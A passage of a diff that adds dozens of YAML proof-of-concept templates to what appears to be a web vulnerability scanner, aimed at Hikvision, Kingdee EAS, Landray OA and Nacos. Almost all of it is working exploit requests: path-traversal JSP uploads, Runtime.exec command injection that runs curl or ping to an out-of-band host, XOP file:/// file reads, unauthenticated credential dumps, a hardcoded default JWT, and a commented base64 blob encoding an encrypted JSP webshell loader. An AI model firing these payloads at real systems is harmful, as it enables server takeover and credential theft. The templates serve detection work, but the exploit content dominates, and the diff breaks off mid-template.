$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}}
+    expression: response.status == 200  && response.body.bcontains(b'Windows IP')
+expression: r0()

webscan/pocs/hikvision-files-upload.yaml

@@ -0,0 +1,37 @@
+id: hikvision-files-upload
+
+info:
+  name: Hikvision Files Upload
+  author: ciyixi
+  severity: critical
+  verified: true
+  tags: hikvision,upload
+  created: 2023/06/25
+
+set:
+    rboundary: randomLowercase(8)
+    randbody: randomLowercase(32)
+    randstr: randomLowercase(10)
+    # bbody: base64Decode("PCUhIFN0cmluZyB4Yz0iM2M2ZTBiOGE5YzE1MjI0YSI7IGNsYXNzIFggZXh0ZW5kcyBDbGFzc0xvYWRlcntwdWJsaWMgWChDbGFzc0xvYWRlciB6KXtzdXBlcih6KTt9cHVibGljIENsYXNzIFEoYnl0ZVtdIGNiKXtyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoY2IsIDAsIGNiLmxlbmd0aCk7fSB9cHVibGljIGJ5dGVbXSB4KGJ5dGVbXSBzLGJvb2xlYW4gbSl7IHRyeXtqYXZheC5jcnlwdG8uQ2lwaGVyIGM9amF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KG0/MToyLG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksIkFFUyIpKTtyZXR1cm4gYy5kb0ZpbmFsKHMpOyB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXtyZXR1cm4gbnVsbDsgfX0NCiU+PCV0cnl7Ynl0ZVtdIGRhdGE9bmV3IGJ5dGVbSW50ZWdlci5wYXJzZUludChyZXF1ZXN0LmdldEhlYWRlcigiQ29udGVudC1MZW5ndGgiKSldO2phdmEuaW8uSW5wdXRTdHJlYW0gaW5wdXRTdHJlYW09IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTtpbnQgX251bT0wO3doaWxlICgoX251bSs9aW5wdXRTdHJlYW0ucmVhZChkYXRhLF9udW0sZGF0YS5sZW5ndGgpKTxkYXRhLmxlbmd0aCk7ZGF0YT14KGRhdGEsIGZhbHNlKTtpZiAoc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoInBheWxvYWQiKT09bnVsbCl7c2Vzc2lvbi5zZXRBdHRyaWJ1dGUoInBheWxvYWQiLG5ldyBYKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5RKGRhdGEpKTt9ZWxzZXtyZXF1ZXN0LnNldEF0dHJpYnV0ZSgicGFyYW1ldGVycyIsIGRhdGEpO09iamVjdCBmPSgoQ2xhc3Mpc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoInBheWxvYWQiKSkubmV3SW5zdGFuY2UoKTtqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBhcnJPdXQ9bmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7Zi5lcXVhbHMoYXJyT3V0KTtmLmVxdWFscyhwYWdlQ29udGV4dCk7Zi50b1N0cmluZygpO3Jlc3BvbnNlLmdldE91dHB1dFN0cmVhbSgpLndyaXRlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKTt9IH1jYXRjaCAoRXhjZXB0aW9uIGUpe30NCiU+")
+rules:
+  r0:
+    request:
+      method: POST
+      path: "/center/api/files;.js"
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
+      body: "\
+        ------WebKitFormBoundary{{rboundary}}\r\n\
+        Content-Disposition: form-data; name=\"upload\";filename=\"../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/{{randstr}}.jsp\"\r\n\
+        Content-Type:image/jpeg\r\n\
+        \r\n\
+        <%out.println(\"{{randbody}}\");%>\r\n\
+        ------WebKitFormBoundary{{rboundary}}--\r\n\
+        "
+    expression: response.status == 200
+  r1:
+    request:
+      method: GET
+      path: /clusterMgr/{{randstr}}.jsp;.js
+    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
+expression: r0() && r1()

webscan/pocs/jindie-eas-autologin-rce.yaml

@@ -0,0 +1,29 @@
+id: jindie-eas-autologin-rce
+
+info:
+  name: 金蝶 EAS Cloud autoLogin.jsp 远程代码执行漏洞
+  author: avic123
+  severity: critical
+  verified: true
+  description: |-
+    金蝶 EAS Cloud 是金蝶软件公司推出的一套企业级应用软件套件，旨在帮助企业实现全面的管理和业务流程优化。金蝶 EAS Cloud 的autoLogin.jsp 路径存在远程代码执行漏洞，攻击者可以利用这个漏洞注入恶意代码，从而控制服务器，进行包括数据窃取、网站篡改、服务器资源滥用等在内的多种恶意行为。
+    fofa: app="Kingdee-EAS"
+  reference:
+    - https://vip.bdziyi.com/58091/
+  tags: jindie,EAS,rce
+  created: 2025/8/19
+
+set:
+  hostname: request.url.host
+rules:
+  r0:
+    request:
+      method: POST
+      path: /easportal/autoLogin.jsp
+      headers:
+        Content-Type: application/x-www-form-urlencoded
+      body: |
+        defaultPage=/autoLogin.jsp%3fdefaultPage%3d/BIReport%26json%3d1%2529%253Bvar%2520cc%253Dnew%2520Array%2528%2527%252Fbin%252Fsh%2527%252C%2520%2527-c%2527%252C%2520%2527curl%2520http%253A%252F%252F{{{{oob.DNS}}}}%252FQ12345%2527%2529%253Bjava.lang.Runtime.getRuntime%2528%2529.exec%2528cc%2529%253B%252F%
+    expression: response.status == 200 && oobCheck(oob.ProtocolDNS, 5)
+
+expression: r0()

webscan/pocs/landary-eis-saveimg-fileupload.yaml

@@ -0,0 +1,41 @@
+id: landray-eis-saveimg-fileupload
+
+info:
+  name: 蓝凌EIS智慧协同平台任意文件上传
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |-
+    fofa: icon_hash="953405444"
+    zoomeye: app:"蓝凌EIS智慧协同平台"
+  tags: landray,fileupload
+  created: 2023/10/18
+
+set:
+  randstr: randomLowercase(10)
+  randbody: randomLowercase(32)
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /eis/service/api.aspx?action=saveImg
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
+      body: "\
+        ------WebKitFormBoundary{{rboundary}}\r\n\
+        Content-Disposition: form-data; name=\"file\"filename=\"{{randstr}}.asp\"\r\n\
+        Content-Type: text/html\r\n\
+        \r\n\
+        {{randbody}}\r\n\
+        ------WebKitFormBoundary{{rboundary}}--\r\n\
+        "
+    expression: response.status == 200 && response.body.bcontains(b'/files/editor_img')
+    output:
+      filename: string(response.body)
+  r1:
+    request:
+      method: GET
+      path: /{{filename}}
+    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
+expression: r0() && r1()

webscan/pocs/landray-dataxml-jsp-rce.yaml

@@ -0,0 +1,52 @@
+id: landray-dataxml-jsp-rce
+
+info:
+  name: 蓝凌OA dataxml.jsp 远程命令执行漏洞
+  author: avic123
+  severity: critical
+  verified: true
+  description: |-
+    蓝凌OA dataxml.jsp 存在远程命令执行漏洞
+    fofa: app="Landray-OA系统"
+  reference:
+    - https://cn-sec.com/archives/3026864.html
+  tags: Landray,ekp,rce
+  created: 2025/1/16
+
+set:
+  hostname: request.url.host
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /sys/ui/sys_ui_component/sysUiComponent.do
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL7ILSpOdIhIIvL51
+        X-Requested-With: XMLHttpRequest
+      body: |
+        ------WebKitFormBoundaryL7ILSpOdIhIIvL51
+        Content-Disposition:form-data;name="method"
+
+        replaceExtend
+        ------WebKitFormBoundaryL7ILSpOdIhIIvL51
+        Content-Disposition:form-data;name="extendId"
+
+        ../../../../resource/help/km/review/
+        ------WebKitFormBoundaryL7ILSpOdIhIIvL51
+        Content-Disposition:form-data;name="folderName"
+
+        ../../../ekp/sys/common
+        ------WebKitFormBoundaryL7ILSpOdIhIIvL51--
+    expression: response.status == 200 && "1".bmatches(response.body)
+  r1:
+    request:
+      method: POST
+      path: /resource/help/kms/knowledge/dataxml.jsp
+      headers:
+        Content-Type: application/x-www-form-urlencoded
+      body: |
+        s_bean=ruleFormulaValidate&script=try {String cmd = "curl+{{oob.HTTP}}";Process child = Runtime.getRuntime().exec(cmd);} catch (IOException e) {System.err.println(e);}
+    expression: response.status == 200 && oobCheck(oob.ProtocolHTTP, 3)
+
+expression: r0() && r1()

webscan/pocs/landray-ekp-sysFormMainDataInsystemWebservice-fileread.yaml

@@ -0,0 +1,50 @@
+id: landray-ekp-sysFormMainDataInsystemWebservice-fileread
+
+info:
+  name: Landray EKP sysFormMainDataInsystemWebservice File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray EKP System sysFormMainDataInsystemWebservice interface has an arbitrary file read vulnerability.
+    fofa: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3sysFormMainDataInsystemWebservice%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
+  tags: landray,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+  hostname: request.url.host
+
+rules:
+  r0:
+    request:
+      raw: |-
+        POST /sys/webservice/sysFormMainDataInsystemWebservice HTTP/1.1
+        Host: {{hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
+        Connection: close
+        Content-Type: multipart/related; boundary=----{{rboundary}}
+        SOAPAction: 
+        Accept-Encoding: gzip, deflate
+
+        ------{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.maindata.xform.sys.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getData>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getData>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------{{rboundary}}--
+    expression: |
+      response.status == 500 &&
+      response.body.ibcontains(b'Unmarshalling Error:')
+expression: r0()

webscan/pocs/landray-oa-datajson-rce.yaml

@@ -0,0 +1,24 @@
+id: landray-oa-datajson-rce
+
+info:
+  name: Landray OA Datajson RCE
+  author: xpoc
+  severity: critical
+  verified: true
+  description: |-
+    Landray Office Automation (OA) software, specifically in the "s_bean" component's "sysFormulaSimulateByJS" functionality. This vulnerability allows remote code execution (RCE), enabling attackers to execute arbitrary code on a target system.
+    fofa: app="Landray-OA系统"
+  reference:
+    - https://github.com/k3sc/Landray-oa-rce-1/blob/main/poc.py
+    - https://github.com/hktalent/scan4all/blob/main/pocs_go/landray/Landray_RCE.go
+    - https://github.com/zan8in/afrog/v3/blob/main/v2/pocs/afrog-pocs/vulnerability/landray-oa-datajson-rce.yaml
+  tags: landray,rce
+  created: 2023/06/22
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /data/sys-common/datajson.js?s_bean=sysFormulaSimulateByJS&script=%66%75%6e%63%74%69%6f%6e%20%74%65%73%74%28%29%7b%20%72%65%74%75%72%6e%20%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%7d%3b%72%3d%74%65%73%74%28%29%3b%72%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%70%69%6e%67%20%2d%63%20%34%20{{oob.DNS}}%22%29&type=1
+    expression: oobCheck(oob.ProtocolDNS, 5)
+expression: r0()

webscan/pocs/landray-oa-kmImeetingBookWebService-fileread.yaml

@@ -0,0 +1,48 @@
+id: landray-oa-kmImeetingBookWebService-fileread
+info:
+  name: Landray OA kmImeetingBookWebService File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray OA System kmImeetingBookWebService interface has an arbitrary file read vulnerability.
+    The vulnerability exists in the getImeetingBookLists method which can be exploited to read arbitrary files on the system.
+    fofa: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/9f20511bb02d7babac30c47f48a72d427b7f5a3b/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md
+  tags: landray,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+  hostname: request.url.host
+rules:
+  r0:
+    request:
+      raw: |-
+        POST /sys/webservice/kmImeetingBookWebService HTTP/1.1
+        Host: {{hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
+        Connection: close
+        Content-Type: multipart/related; boundary=----{{rboundary}}
+        SOAPAction: ""
+        Accept-Encoding: gzip, deflate
+
+        ------{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.imeeting.km.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getImeetingBookLists>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getImeetingBookLists>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------{{rboundary}}--
+    expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error')
+
+expression: r0()

webscan/pocs/landray-oa-kmImeetingResWebService-fileread.yaml

@@ -0,0 +1,45 @@
+id: landray-oa-kmImeetingResWebService-fileread
+info:
+  name: Landray OA kmImeetingResWebService File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray OA System kmImeetingResWebService interface has an arbitrary file read vulnerability.
+    The vulnerability exists in the getKmimeetingResById method which can be exploited to read arbitrary files on the system.
+    fofa: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3sysFormMainDataInsystemWebservice%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
+  tags: landray,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /sys/webservice/kmImeetingResWebService
+      headers:
+        Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}}
+        SOAPAction: ""
+        Accept-Encoding: gzip, deflate
+      body: |
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.imeeting.km.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getKmimeetingResById>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getKmimeetingResById>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------WebKitFormBoundary{{rboundary}}--
+    expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error')
+
+expression: r0()

webscan/pocs/landray-oa-loginWebserviceService-fileread.yaml

@@ -0,0 +1,44 @@
+id: landray-oa-loginWebserviceService-fileread
+info:
+  name: Landray OA loginWebserviceService File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray OA System loginWebserviceService interface has an arbitrary file read vulnerability.
+    The vulnerability exists in the getLoginSessionId method which can be exploited to read arbitrary files on the system.
+    fofa: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/9f20511bb02d7babac30c47f48a72d427b7f5a3b/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md
+  tags: landray,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /sys/webservice/loginWebserviceService
+      headers:
+        Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}}
+        SOAPAction: ""
+        Accept-Encoding: gzip, deflate
+      body: |
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://sso.authentication.sys.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getLoginSessionId>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getLoginSessionId>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------WebKitFormBoundary{{rboundary}}--
+    expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error')
+expression: r0()

webscan/pocs/landray-oa-sysNotifyTodoWebService-fileread.yaml

@@ -0,0 +1,44 @@
+id: landray-oa-sysNotifyTodoWebService-fileread
+info:
+  name: Landray OA sysNotifyTodoWebService File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray OA System sysNotifyTodoWebService interface has an arbitrary file read vulnerability.
+    The vulnerability exists in the getTodoCount method which can be exploited to read arbitrary files on the system.
+    FOFA: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md
+  tags: landray,lfi,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /sys/webservice/sysNotifyTodoWebService
+      headers:
+        Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}}
+        SOAPAction: ""
+        Accept-Encoding: gzip, deflate
+      body: |
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.notify.sys.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getTodoCount>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getTodoCount>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------WebKitFormBoundary{{rboundary}}--
+    expression: response.status == 500 &&  response.body.bcontains(b'Unmarshalling Error')
+expression: r0()

webscan/pocs/landray-oa-sysSynchroGetOrgWebService-fileread.yaml

@@ -0,0 +1,44 @@
+id: landray-oa-sysSynchroGetOrgWebService-fileread
+info:
+  name: Landray OA sysSynchroGetOrgWebService File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray OA System sysSynchroGetOrgWebService interface has an arbitrary file read vulnerability.
+    The vulnerability exists in the getOrgStaffingLevelInfo method which can be exploited to read arbitrary files on the system.
+    fofa: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md
+  tags: landray,lfi,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /sys/webservice/sysSynchroGetOrgWebService
+      headers:
+        Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}}
+        SOAPAction: ""
+        Accept-Encoding: gzip, deflate
+      body: |
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://out.webservice.organization.sys.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getOrgStaffingLevelInfo>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getOrgStaffingLevelInfo>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------WebKitFormBoundary{{rboundary}}--
+    expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error')
+expression: r0()

webscan/pocs/landray-oa-sysTagWebService-fileread.yaml

@@ -0,0 +1,44 @@
+id: landray-oa-sysTagWebService-fileread
+info:
+  name: Landray OA sysTagWebService File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray OA System sysTagWebService interface has an arbitrary file read vulnerability.
+    The vulnerability exists in the getGroups method which can be exploited to read arbitrary files on the system.
+    fofa: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md
+  tags: landray,lfi,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /sys/webservice/sysTagWebService
+      headers:
+        Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}}
+        SOAPAction: ""
+        Accept-Encoding: gzip, deflate
+      body: |
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.tag.sys.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getGroups>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getGroups>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------WebKitFormBoundary{{rboundary}}--
+    expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error')
+expression: r0()

webscan/pocs/landray-oa-sysuicomponent-fileupload.yaml

@@ -0,0 +1,52 @@
+id: landray-oa-sysuicomponent-fileupload
+
+info:
+  name: 蓝凌 OA 子部件文件上传
+  author: Pking
+  severity: critical
+  verified: true
+  description: |-
+    介绍:该系统 sysUiComponent 文件存在任意文件上传漏洞，通过此漏洞攻击者可上传webshell木马，远程控制服务器，威胁企业数据安全。
+    fofa: app="Landray-OA系统"
+    zoomeye: app:"蓝凌数字OA"
+  reference:
+    - https://mp.weixin.qq.com/s/xhwmFuItG8ZoiuGrwR5bnw
+  tags: landray,fileupload
+  created: 2023/11/16
+
+set:
+  baseurl: request.url
+  randstr: randomLowercase(12)
+  rboundary: randomInt(800000000, 1000000000)
+  cookie: randomLowercase(48)
+  payload: base64Decode("UEsDBBQAAAAIAEVrcFcd+E8oKAAAACYAAAAIAAAAdGVzdC5qc3CzUVXILy3RKyjKzCvJydNQ8iotLkl0TCwOCE4zNDIyNlLStFZQtQMAUEsDBBQAAAAIAGlrcFdRNnIYHAAAABoAAAANAAAAY29tcG9uZW50LmluactMsTUyMLQ0Mrbg5cpLzE21Tc5ITc7WK6koAQBQSwECHwAUAAAACABFa3BXHfhPKCgAAAAmAAAACAAkAAAAAAAAACAAAAAAAAAAdGVzdC5qc3AKACAAAAAAAAEAGAB3R8xoTRjaAXdHzGhNGNoBRiZA9UIY2gFQSwECHwAUAAAACABpa3BXUTZyGBwAAAAaAAAADQAkAAAAAAAAACAAAABOAAAAY29tcG9uZW50LmluaQoAIAAAAAAAAQAYACmZwpFNGNoBKZnCkU0Y2gF5vhgvSxjaAVBLBQYAAAAAAgACALkAAACVAAAAAAA=")
+rules:
+  r0:
+    request:
+      method: GET
+      path: /sys/ui/sys_ui_component/sysUiComponent.do?method=upload
+    expression: response.status == 200 && response.body.bcontains(b"请上传正确的部件包文件") && response.body.bcontains(b"附件上传中") && response.body.bcontains(b"请上传正确的部件包文件")
+  r1:
+    request:
+      method: POST
+      path: /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
+      body: "\
+        ------WebKitFormBoundary{{rboundary}}\r\n\
+        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.zip\"\r\n\
+        Content-Type: application/x-zip-compressed\r\n\
+        \r\n\
+        {{payload}}\r\n\
+        ------WebKitFormBoundary{{rboundary}}--\r\n
+        "
+    expression: response.status == 200 && response.body.bcontains(b"directoryPath") && response.body.bcontains(b"status")
+    output:
+      search: '"\"directoryPath\":\"(?P<pathName>.+?)\",".bsubmatch(response.body)'
+      pathName: search["pathName"]
+  r2:
+    request:
+      method: GET
+      path: /resource/ui-component/{{pathName}}/test.jsp
+    expression: response.status == 200 && response.body.bcontains(b"JustaAasPSf12232")
+expression: r0() && r1() && r2()

webscan/pocs/nacos-config-server-sql-inject.yaml

@@ -0,0 +1,26 @@
+id: nacos-config-server-sql-inject
+#
+
+info:
+  name: Naocos Config Server SQL injection
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    Nacos config server中有个接口，没有做任何的鉴权，即可执行sql语句，可以泄漏全部数据
+  reference:
+    - https://mp.weixin.qq.com/s/NgWvrN6yW-MAy0Cch4_nAQ
+  tags: nacos,sqli
+  created: 2023/06/01
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'"code":') &&
+      response.body.bcontains(b'"USERNAME":') &&
+      response.body.bcontains(b'"PASSWORD":')
+expression: r0()

webscan/pocs/nacos-core-auth-enabled-bypass.yaml

@@ -0,0 +1,19 @@
+id: nacos-core-auth-enabled-bypass
+
+info:
+  name: Nacos core.auth.enabled 权限绕过
+  author: yoyo
+  severity: critical
+  verified: true
+  description: |-
+    atlassian-bitbucket-代码注入-CVE-2022-36804
+  tags: nacos,sqli
+  created: 2025/03/27
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken=
+    expression: response.status == 200 && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":') && response.headers["content-type"].contains('application/json')
+expression: r0()

webscan/pocs/nacos-secret-default-key-unauth.yaml

@@ -0,0 +1,21 @@
+id: nacos-secret-default-key-unauth
+
+info:
+  name: Alibaba Nacos secret.key默认密钥 未授权访问漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    Alibaba Nacos 使用了固定的secret.key默认密钥，导致攻击者可以构造请求获取敏感信息，导致未授权访问漏洞
+    Alibaba Nacos <= 2.2.0
+    fofa: app="NACOS"
+  tags: nacos,unauth
+  created: 2024/07/20
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9
+    expression: response.status == 200 && response.headers["content-type"].contains("application/json") && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":')
+expression: r0()

webscan/pocs/nacos-severidentity-bypass.yaml

@@ -0,0 +1,24 @@
+id: nacos-severidentity-bypass
+
+info:
+  name: Alibaba Nacos ServerIdentity 权限绕过
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    Nacos 能让您从微服务平台建设的视角管理数据中心的所有服务及元数据，包括管理服务的描述、生命周期、服务的静态依赖分析、服务的健康状态、服务的流量管理、路由及安全策略。Nacos 平台在 Header 中添加 serverIdentity: security 能直接绕过身份验证查看用户列表
+    {"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ","tokenTtl":18000,"globalAdmin":true}
+  reference:
